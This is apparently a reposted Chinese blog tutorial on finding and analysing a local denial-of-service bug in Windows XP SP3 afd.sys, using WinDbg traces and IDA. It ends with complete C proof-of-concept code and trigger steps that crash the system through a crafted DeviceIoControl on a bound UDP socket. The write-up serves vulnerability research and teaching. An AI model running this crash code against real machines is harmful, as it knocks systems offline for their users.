WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程

标 题: WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程

时 间: 2013-03-17,15:22:33

这是本人第一次做漏洞挖掘，2月的时候开始研究漏洞挖掘技术，2月24号那天在进行Fuzz测试的时候偶然的发现了一个afd.sys未处理的异常，然后就对这个异常如获至宝的分析起来了，因为在上班，所以都是利用周末时间来进行，前前后后到加起来差不多5天时间。现在这个漏洞的原因以及低层次的利用已经全部完成，所以拿出来跟大家分享一下，虽然挖到现在只挖出了本地拒绝服务的用处，在如今0Day满天飞的年代这个Vulnerability的价值微乎其微，但是对于我个人来说意义很大，毕竟是第一次做漏洞分析，对于把分析问题的思路从工作惯性转向漏洞挖掘有不少帮助（我的工作平时接触最多的就是，栈，一天到晚就是抓栈，分析栈，也经常抓dump，分析dump，但是工作的目的不是挖掘漏洞，所以我要转型挖漏洞需要最大的改变就是工作时候的目的性）。好了，不废话了，下面把从最初发现这个漏洞到写出这篇文章的过程详细的写出来。

1  Fuzz发现afd.sys发生未处理的ExRaiseDatatypeMisalignment异常。

Pic1

2  异常原因探究

上图圈起来的数据都是需要关注的，到这里，我们就要先看一看详细情况，首先看【栈】：

Code:

kd> kvn
 # ChildEBP RetAddr  Args to Child              
00 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 nt!ExRaiseDatatypeMisalignment+0xa (FPO: [0,0,0])
01 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo])  //#
02 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) //#
03 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for IOCTL_fuzzer.sys - 
04 b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) //#
WARNING: Stack unwind information not available. Following frames may be wrong.
05 b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5
06 b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3
07 b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b
08 b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64)
09 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0a 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) //#
0b 00f3fe78 7c930041 00090718 000bb8e0 0000605d 0x719c7425
0c 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlFreeHeap+0x1e9 (FPO: [Non-Fpo])
0d 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo])
0e 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo])
0f 00f3ffec 00000000 7c930250 00000000 00000000 0x7c80b729

从第1帧可以看到原来是ProbeForWrite函数抛出了Data misaligned - code 80000002这个异常。

难道是这个ProbeForWrite没有放在try/except块中么？(暂且不管)，先看一下是什么参数导致了这个一场吧：

Code:

kd> .frame 1
01 b19698d8 b246db47 nt!ProbeForWrite+0x54
kd> dds b19698d8 L9
b19698d8  b1969a14
b19698dc  b246db47 afd!AfdFastIoDeviceControl+0x4a9
b19698e0  5fcaa03a  // Address
b19698e4  00000004  // Length
b19698e8  00000004  // Alignment
b19698ec  824182a0
b19698f0  821c45d0
b19698f4  b246b030 afd!AfdFastIoDispatch
b19698f8  00000000

可以看到是地址参数出了问题，0x5fcaa03a。那这个参数是从哪里来的呢？

我首先想到的是去对比NtDeviceIoControlFile传入的InputBuffer，那就去对比一下：

Code:

kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230  // FileHandle
b1969b04  00000000  // Event
b1969b08  00000000  // ApcRoutine
b1969b0c  00000000  // IoStatusBlock
b1969b10  00f3fd4c  // ApcContext
b1969b14  000120cf  // IoControlCode
b1969b18  00f3fd20  // InputBuffer
b1969b1c  0000002a  // InputBufferLength
b1969b20  00000000  // OutputBuffer
b1969b24  00000000  // OutputBufferLength
b1969b28  805738c1 nt!NtWriteFile+0x607
b1969b2c  b1969be8
b1969b30  b1969c84
b1969b34  805732ba nt!NtWriteFile

传入的InputBuffer并不是我们所期望的0x5fcaa03a，那怎么办？当然是看代码了！

漏洞挖掘是一项综合技能要求很高的技术，知识面越宽越好，为了解决问题能想出的办法越多越好。

漏洞挖掘终归是调试分析四个字，调试分析归结为两项大的技能点：动态调试，静态分析。

动态调试主要目的是发现、重现、验证问题，静态分析作为对调试时候的分析能力缺乏的一种补充，主要目的是发掘问题产生的原因。

因为Windbg在汇编代码的展示方面功能太单一，所以静态分析还是用IDA好了。

先算一下这个ProbeForWrite函数调用在afd.sys模块内的RVA，

Code:

kd> lm m afd*
start    end        module name
b2469000 b248ad00   afd        (pdb symbols)          f:\kernelsymbols\afd.pdb\5A0F2680051E40FCB82FED32C46BC9662\afd.pdb
kd> ?b246db47-b2469000
Evaluate expression: 19271 = 00004b47

0x00004b47就是我们要找的RVA了，然后拿出IDA，找到这个地址：

Pic2

接下来我们要做的就是回溯一下代码，看看这个参数的源头在哪里，因为这个Functino Chunk只有一个扇入，所以我们很容易向上找到这个ebp+30h的内容是如何设置的：

Pic3

上图中紫色的Chunk中红色框内的代码用C代码来表示就是

Code:

RtlCopyMemory(pDst, ebx, 0x24);

其中pDst的值为ebp-50h，而复制的长度为0x24，所以该函数执行完之后，从ebp-50h到ebp-2ch之间的内存都是从ebx处的内存中复制过来的。

其实在这里如果有意识的话，立刻就会想到ebx就是InputBuffer，如何确定这个推测？

最直观的就是通过调试时查看执行到里时ebx的值是否等于NtDeviceIoControlFile的参数InputBuffer，因为在异常发生在ProbeForWrite：

Code:

kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230  // FileHandle
b1969b04  00000000  // Event
b1969b08  00000000  // ApcRoutine
b1969b0c  00000000  // IoStatusBlock
b1969b10  00f3fd4c  // ApcContext
b1969b14  000120cf  // IoControlCode
b1969b18  00f3fd20  // InputBuffer
b1969b1c  0000002a  // InputBufferLength
b1969b20  00000000  // OutputBuffer
b1969b24  00000000  // OutputBufferLength
b1969b28  805738c1 nt!NtWriteFile+0x607
b1969b2c  b1969be8
b1969b30  b1969c84
b1969b34  805732ba nt!NtWriteFile
kd> ?ebx    // 这里只是恰好在发生异常的时候Ebx的值没有被改变，其他情况如果ebx的值被改变了的话，就需要重新启动调试，打好断点然后再查看。
Evaluate expression: 15990048 = 00f3fd20

为了进一步确认，我们还是把内存数据dump出来看看吧：

Code:

kd> dd 00f3fd20 LC
00f3fd20  89cf8909 bd625e8e 0a224464 7632e035
00f3fd30  c3de460d ecd5cffd ea3d8d76 cba3477a
00f3fd40  5fcaa03a 000bbbc0 000bbbc0 00000103
kd> .frame 2
02 b1969a14 805768eb afd!AfdFastIoDeviceControl+0x4a9
kd> dd b1969a14-0x50 LC
b19699c4  89cf8909 bd625e8e 0a224464 7632e035
b19699d4  c3de460d ecd5cffd ea3d8d76 cba3477a
b19699e4  5fcaa03a 00000000 e21c8460 822a52c0

这证明我们的猜测是没错的，那现在至少知道了触发这个异常所需要的数据：即InputBuffer+0x20处的一个DWORD会被当做用户空间地址去进行可写验证，但是却没有进行异常处理。

认真看文章的同学可能还发现了，在代码下面对ebp+0x34的值也进行了同样的操作，这就对应InputBuffer+0x1c处的DWORD。

刚才说了可以通过调试来找关联，当然也可以通过代码来静态分析其参数来源，我在做的时候因为现场丢失，所以大部分时间都是在静态分析代码。

关于找数据来源，当然是倒推代码执行路径来的方便，结合IDA的选择染色功能，找起来十分方便的，一点经验就是：使用IDA，屏幕越大越好！（每次用的时候都有种想把这14.1的本砸烂的冲动）

现在我们已经具有的关于这个异常的信息是：

Code:

IoCtlCode = 0x000120cf;
  DWORD InputBuffer[9] = 
  {
    0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 
    0x1,    // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)
    0x1    // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)
  };

后面呢，还需要一个FileHandle，少了这个DeviceIoControl无法找到目标，所以：

Code:

kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230
b1969b04  00000000
b1969b08  00000000
b1969b0c  00000000
b1969b10  00f3fd4c
b1969b14  000120cf
b1969b18  00f3fd20
b1969b1c  0000002a
b1969b20  00000000
b1969b24  00000000

kd> !handle 00000230      // 查看这个Hande的对象

PROCESS 8221dd08  SessionId: 0  Cid: 0544    Peb: 7ffdb000  ParentCid: 02d8
    DirBase: 0a2c01a0  ObjectTable: e16ea9d8  HandleCount: 171.
    Image: svchost.exe

Handle table at e21c8000 with 171 entries in use

0230: Object: 821c45d0  GrantedAccess: 0012019f (Inherit) Entry: e21c8460
Object: 821c45d0  Type: (825eb040) File
    ObjectHeader: 821c45b8 (old version)
        HandleCount: 1  PointerCount: 3
        Directory Object: 00000000  Name: \Endpoint {Afd}

kd> dt _FILE_OBJECT 821c45d0  
ntdll!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n112
   +0x004 DeviceObject     : 0x824182a0 _DEVICE_OBJECT
   +0x008 Vpb              : (null) 
   +0x00c FsContext        : 0x822a52c0 Void
   +0x010 FsContext2       : (null) 
   +0x014 SectionObjectPointer : (null) 
   +0x018 PrivateCacheMap  : 0xffffffff Void
   +0x01c FinalStatus      : 0n0
   +0x020 RelatedFileObject : (null) 
   +0x024 LockOperation    : 0 ‘‘
   +0x025 DeletePending    : 0 ‘‘
   +0x026 ReadAccess       : 0 ‘‘
   +0x027 WriteAccess      : 0 ‘‘
   +0x028 DeleteAccess     : 0 ‘‘
   +0x029 SharedRead       : 0 ‘‘
   +0x02a SharedWrite      : 0 ‘‘
   +0x02b SharedDelete     : 0 ‘‘
   +0x02c Flags            : 0x40000
   +0x030 FileName         : _UNICODE_STRING "\Endpoint"
   +0x038 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x040 Waiters          : 0
   +0x044 Busy             : 0
   +0x048 LastLock         : (null) 
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : (null)

看起来是个Socket，到这里，漏洞的本地Ddos利用代码已经浮现在脑海了，于是就收拾现场，重新启动写了一个利用代码。

3  利用方法的探究

写Poc代码的时候Socket使用了TCP协议，可是把程序运行起来的时候并没有发生期望的BSOD.

可想而知，因为分析的过程跳过了很多步骤，从afd!AfdFastIoDeviceControl到nt!ProbeForWrite中间的过程完全被忽略了。

而有可能afd!AfdFastIoDeviceControl在中间的过程中做了很多参数检查，由于参数不符合所以程序分支就发生了变化，没有进入预期异常触发点。

无奈，只能继续分析程序执行流程，然后调试修正参数了。

关于这里的分析，我觉得我选择了一个不错的方法，因为我们要到达一个指定的代码片段，所以

1.  先倒推一条从目标代码到函数入口的最短路径，当然要避开明显的错误跳转，在IDA中用颜色A标明这条执行路径；

2.  调试自己的POC代码，找到现有POC代码执行的路径，在IDA中用颜色B标明这条执行路径；

3.  如果调试代码的执行路径和倒推出来的路径重复，就用B覆盖原先的颜色；

4.  如果调试代码的执行路径偏离了倒推出来的路径，那就分析代码查找跳转原因；

5.  修正第4步引起跳转的参数；

6.  然后重复2到5步，直到路径完全被B颜色覆盖。

我在操作过程中形成的颜色路径如下图：

Pic4

上图粉红色是倒推路径，紫色是执行时候的路径，我觉得这个方法比较有效。下面回到问题上来了，为什么Poc代码没有走正确的流程呢？

第一个原因在这里

Pic5

esi是什么东西呢？仍然用代码回溯找数据来源的方法，发现，esi是跟socket句柄有关，esi的值就是前面说的socket的FILE_OBJECT中的一个字段FsContext

我们来看一下，发生异常时候这里的值是什么，数据仍然使用前面所述的FILE_OBJECT中的值：

Code:

kd> dw 0x822a52c0 L8
822a52c0  afd1 0002 89af 001b 0011 0000 0010 0000

能触发异常的值是afd1，而我们写的Poc中确实afd2，应该想到这是因为Socket的类型不对，那怎么才能创建一个FsContext的第一个word是afd1的socket呢？

我采用了一个笨的方法，穷举，就是应用层不改变socket的类型，然后内核调试查看FsContext的内容，苦力活干完后发现：

SOCK_STREAM

1.创建后      afd0

2.连接后      afd2

3.BIND后    afd0

4.Listen后    afd4

还是很悲剧，没有出现afd1，然后就推测肯定跟协议类型有关了，于是果断换了一个SOCK_DGRAM的UDPsocket，终于这个地方可以顺利执行下去了。

可是后面仍然没有按照预期进入目标代码，经过颜色比对法，分析发现又一处判断：

Pic6

这里接着上面刚刚执行完的代码，那我们看看esi+2的地方：

Code:

kd> db 0x822a52c0 +2 L8
822a52c2  02 00 af 89 1b 00 11 00

预期需要0x02，而poc的值却是01，这个值是什么含义呢？经过上面的穷举方法之后，我不想再用那么笨的办法了。

因为这样下去效率太低，所以我决定网上层走走，看一看正常情况下代码流程是如何进入能够触发遗产的目标代码的。

先看加好符号文件的栈：

Code:

kd> kvn
 # ChildEBP RetAddr  Args to Child              
00 b1969398 804f8bad 00000003 80000002 00000000 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
01 b19693e4 804f979a 00000003 00000000 c0400000 nt!KiBugCheckDebugBreak+0x19 (FPO: [Non-Fpo])
02 b19697c4 804f9cc5 00000050 80000002 00000000 nt!KeBugCheck2+0x574 (FPO: [Non-Fpo])
03 b19697e4 8051dc67 00000050 80000002 00000000 nt!KeBugCheckEx+0x1b (FPO: [Non-Fpo])
04 b1969844 80541554 00000000 80000002 00000000 nt!MmAccessFault+0x8e7 (FPO: [Non-Fpo])
05 b1969844 80000002 00000000 80000002 00000000 nt!KiTrap0E+0xcc (FPO: [0,0] TrapFrame @ b196985c)
WARNING: Frame IP not in any known module. Following frames may be wrong.
06 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 0x80000002
07 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo])
08 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo])
09 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo])
0a b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])
0b b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5
0c b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3
0d b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b
0e b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64)
0f 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
10 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0])
11 00f3fd84 75ba87f8 00000230 00f3fdb4 00f3fde4 mswsock!MSAFD_WSPRecvMsg+0x15f (FPO: [Non-Fpo])
12 00f3fe10 75ba2aa8 00000230 00f3fe74 00f3fe70 ssdpsrv!SocketReceive+0xcf (FPO: [Non-Fpo])
13 00f3fe8c 7c947e91 000bb8e0 000bad00 000badc8 ssdpsrv!SsdpNetProc+0xab (FPO: [Non-Fpo])
14 00f3fed8 7c94b0a1 75ba29fd 000bb8e0 000bad00 ntdll!RtlpWaitOrTimerCallout+0x73 (FPO: [Non-Fpo])
15 00f3fef8 7c947ac2 000badc8 7c99e440 000bc038 ntdll!RtlpAsyncWaitCallbackCompletion+0x25 (FPO: [Non-Fpo])
16 00f3ff40 7c947b03 7c94b07c 000badc8 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo])
17 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [Non-Fpo])
18 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo])
19 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo])
1a 00f3ffec 00000000 7c930250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

从栈中可以看到，整个代码都是从一个Timer回调中发起的。

通过最初的bugcheck我们看到进程是svchost.exe，结合栈中的ssdpsrv这个符号可以确定这个漏洞是SSDP Discovery服务中存在的。

那我们就来分析一下我们需要的这个socket类型到底什么类型：

用回溯代码的方法，从调用ntdll!ZwDeviceIoControlFile的地方向上找，最终找到了Socket实在ssdpsrv.dll中创建的。

用IDA分析ssdpsrv.dll，在其中搜索SsdpNetProc符号，然后查找引用：

Pic7

幸好只有一处引用，分析的工作量就大减了，然后跳过去分析，在ListenOnAllNetWork中有以下代码：

Pic8

可以看到程序是把用SsdpNetProc注册了一个等待事件回调，并且eax作为参数传入，那SsdpNetProc是怎么处理eax的呢？socket是否在SsdpNetProc中创建的呢？

进入SsdpNetProc分析，发下以下代码：

pic9

其中esi就是socket，代码回溯，找到esi其实是第一个参数加偏移0x4

75BA2A0B 058 mov     ebx, [ebp+arg_0]

75BA2A5B 060 mov     esi, [ebx+4]

代码中就一直使用了esi保存socket，这个不关心，因为知道了socket不是在SsdpNetProc创建的，那就继续回到ListenOnAllNetWork函数进行分析。

回溯查到eax+0x4的地址是何时赋值的。

Pic10

找到socket的值是从lpMem+0x20h处传入的，lpMem是一个全局变量，这说明socket的创建在再往上一帧的函数里完成的，同样找ListenOnAllNetWork的引用。

Pic11

有两处，但是我们根据符号的意义可知，初始化应该在SssdpMain函数中创建，所以继续跳入SssdpMain函数：

Pic12

但是SssdpMain函数可读性太差了，这时候要换个思路了，创建socket，一定是调用了socket函数，那我们看看一看ssdpsrv.dll的导入表，找找看所有引用socket的地方。

pic13

其实只有两处引用，然后分别在对这两个函数所在的函数查找引用，就会发现在SssdpMain函数中调用了GetNetworks函数，而后又调用了ListenOnAllNetWork函数，

所以推测可能在GetNetworks函数中完成了对lpMem+0x20h的赋值，然后对GetNetworks分析：

pic14

到这里其实已经知道了我们所需要的socket就是在SocketOpen函数中创建的，那就去看看是如何创建的吧：

Pic15

由以上分析可知创建一个UDP的socket，然后bind到一个地址就行了，所有的分析到这里就结束了，下面用我们所掌握的信息来写Poc代码，并进行验证。

4  Poc代码的编写

Code:

/************************************************************* *
 * afd.sys LocalDDos proof of concept
 * tishion#163.com
 * 2013/03/17
 *
\*************************************************************/
#include <tchar.h>
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "Ws2_32.lib")

void _tmain() 
{
  WSADATA wsaData;
  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  if (iResult != NO_ERROR)
  {
    _tprintf(_T("Error at WSAStartup()\n"));
  }

  SOCKET Socket;
  Socket = socket(AF_INET, SOCK_DGRAM, 0);
  if (Socket == INVALID_SOCKET) 
  {
    _tprintf(_T("Error at socket(): %ld\n"), WSAGetLastError());
    WSACleanup();
    return;
  }

  sockaddr_in service;
  service.sin_family = AF_INET;
  service.sin_addr.s_addr = inet_addr("127.0.0.1");
  service.sin_port = htons(27015);

  if (SOCKET_ERROR == bind(Socket, (SOCKADDR*) &service, sizeof(service))) 
  {
    _tprintf(_T("Error at bind(): %ld\n"), WSAGetLastError());
    closesocket(Socket);
    WSACleanup();
    return;
  }

  DWORD dwBytesReturned = 0;
  DWORD InputBuffer[9] = 
  {
    0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 
    0x1,  // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
    0x1    // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
  };

  BOOL bRet = DeviceIoControl((HANDLE)Socket, 0x000120cf, &InputBuffer, 0x24, NULL, 0, &dwBytesReturned, NULL);
  //////////////////////////////////////////////////////////////////////////
  // 后面的代码没机会执行了，因为已经BSOD了
  // 本着一个合格的程序员专业精神，还是把收尾工作的代码写好
  

  closesocket(Socket);
  WSACleanup();
  return;
}

看一下效果：）

pic 16

对这个漏洞的分析利用就到这里了，其实还可以继续挖掘，看看是否可以变成远程漏洞，因为这个漏洞是SSDP Server端的，并且触发过程是在SocketReceive函数中，所以应该会和Client端有一定联系。

后续挖掘的话，方法还是这些，只是时间和精力的问题了，希望这篇文章能给一些想进入漏洞挖掘这个领域的同学带来收获，即使很小。

***** Vulnerability Summary *****

Sytem Platform:  Windows XP With Serveice Pack 3

Kernel Version:  NT 5.1.2600.5657

Module Name:  Afd.sys

Module Version: 5.1.2600.5657

Function: AfdFastIoDeviceControl

Device: \Afd\Endpoint

IoctlCode: 0x000120cf

Key : Create a socket with SOCK_DGRAM and bind it to the local hsot, any port.

Call DeviceIoControl with the socket and set the value of Inputbuffer+0x20h or InputBuffer+0x1ch to a number that can not be divided with no remainder by 4.

Then you’ll get it.

时间： 2024-11-10 07:05:53

WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程的相关文章

Activity组件暴露导致本地拒绝服务

这几天团队打算一起学习Android App漏洞挖掘方面的知识,于是乎拿了一个app当测试例子,争取在上面找到漏洞.在学习过程中发现Android四大组件的安全性还是占有较大的比重,另外比较关心的是数据的安全性.数据泄漏.明文存储等和数据相关都是比较重要的.但是今天找到的一个漏洞是关于Activity组件的,本地拒绝服务漏洞. 同时学习了drozer的使用方法,利用drozer帮忙找漏洞. 下面总结一些常用的drozer命令: run app.package.info -f xxx xxx是包名

Android应用安全之Android APP通用型拒绝服务漏洞

0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞.该通用型本地拒绝服务可以造成大面积的app拒绝服务. 针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务.漏洞应用代码片段: Intent i = getIntent(); if(i.getAction().equals("serializabl

安卓拒绝服务漏洞分析及漏洞检测

"超级拒绝服务漏洞"是一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用. 漏洞分析: 0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞.该通用型本地拒绝服务可以造成大面积的app拒绝服务. 针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传

Bash 3处本地拒绝服务0day分析

最近在我们在bash fuzz项目中,发现诸多问题,现在公布其中的3处本地拒绝服务漏洞的分析.该漏洞已经报告给bash的发开者,并且在最新版中得到了修复. 漏洞描述: bash-4.3libreadlinesavestring.c ( 或者bash-1.14.7libreadlinereadline.c )文件的savestring()函数存在NULL指针引用,对该漏洞的成功利用会造成本地拒绝服务. 危害等级: 低危-本地拒绝服务 漏洞验证: bash-c ‘>$(ss=111 declare

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

这个内核漏洞在Pwn2Own 2014上用来提权绕过IE沙箱(保护模式),siberas公司后来公布了漏洞的细节及利用方法,通过其公开的文档已经能够准确定位漏洞成因及利用方法.(http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf) 第一次分析double free类型的漏洞,并且想通过此漏洞进一步了解学习内核漏洞的利用技术.但分析到占位时,出现了WorkerFactory Object及contro

CVE-2017-0004相关lsass拒绝服务漏洞杂谈

昨天微软更新的补丁对lsass服务中的一处拒绝服务漏洞进行了修补,由于是远程拒绝服务漏洞遂决定看看(毕竟这种类型的这十几年也没出几个).补丁解压之后可以发现这次更新修改了大量的dll(可以用expand.exe,原因么,用了就知道哈哈),lsass.exe本身没有修改 可能是运气好吧,我当时直接选了lsasrv这个dll,事实证明运气不错. 可以看到这个dll是本地密码相关的动态链接库. 通过binbiff对比可以发现确实有不少修改的地方. 因此昨天都在看这个dll的补丁对比,当时找到一些可疑的

Cisco IOS拒绝服务漏洞 -中国寒龙出品

受影响系统:Cisco IOS 15.x描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70129CVE(CAN) ID: CVE-2014-3361 Cisco IOS是多数思科系统路由器和网络交换机上使用的互联网络操作系统. Cisco IOS 15.0, 15.1, 15.2, 15.4没有正确通过NAT实现SIP,在实现上存在远程拒绝服务漏洞,攻击

Juniper JunosE拒绝服务漏洞 -中国寒龙

受影响系统:Juniper Networks JUNOSe描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70369CVE(CAN) ID: CVE-2014-6380 JunosE是用在Juniper E系列路由器内的操作系统. Juniper JunosE处理构造的碎片数据包时存在拒绝服务漏洞,可导致FPC重置或断网. <*来源:vendor*> 建

Cisco IOS及IOS XE Software多个DNS拒绝服务漏洞 -中国寒龙

受影响系统:Cisco IOS 15.xCisco IOS XE 3.x描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70132CVE(CAN) ID: CVE-2014-3357 Cisco IOS是多数思科系统路由器和网络交换机上使用的互联网络操作系统. Cisco IOS 15.0, 15.1, 15.2, 15.4.IOS XE 3.3.xSE,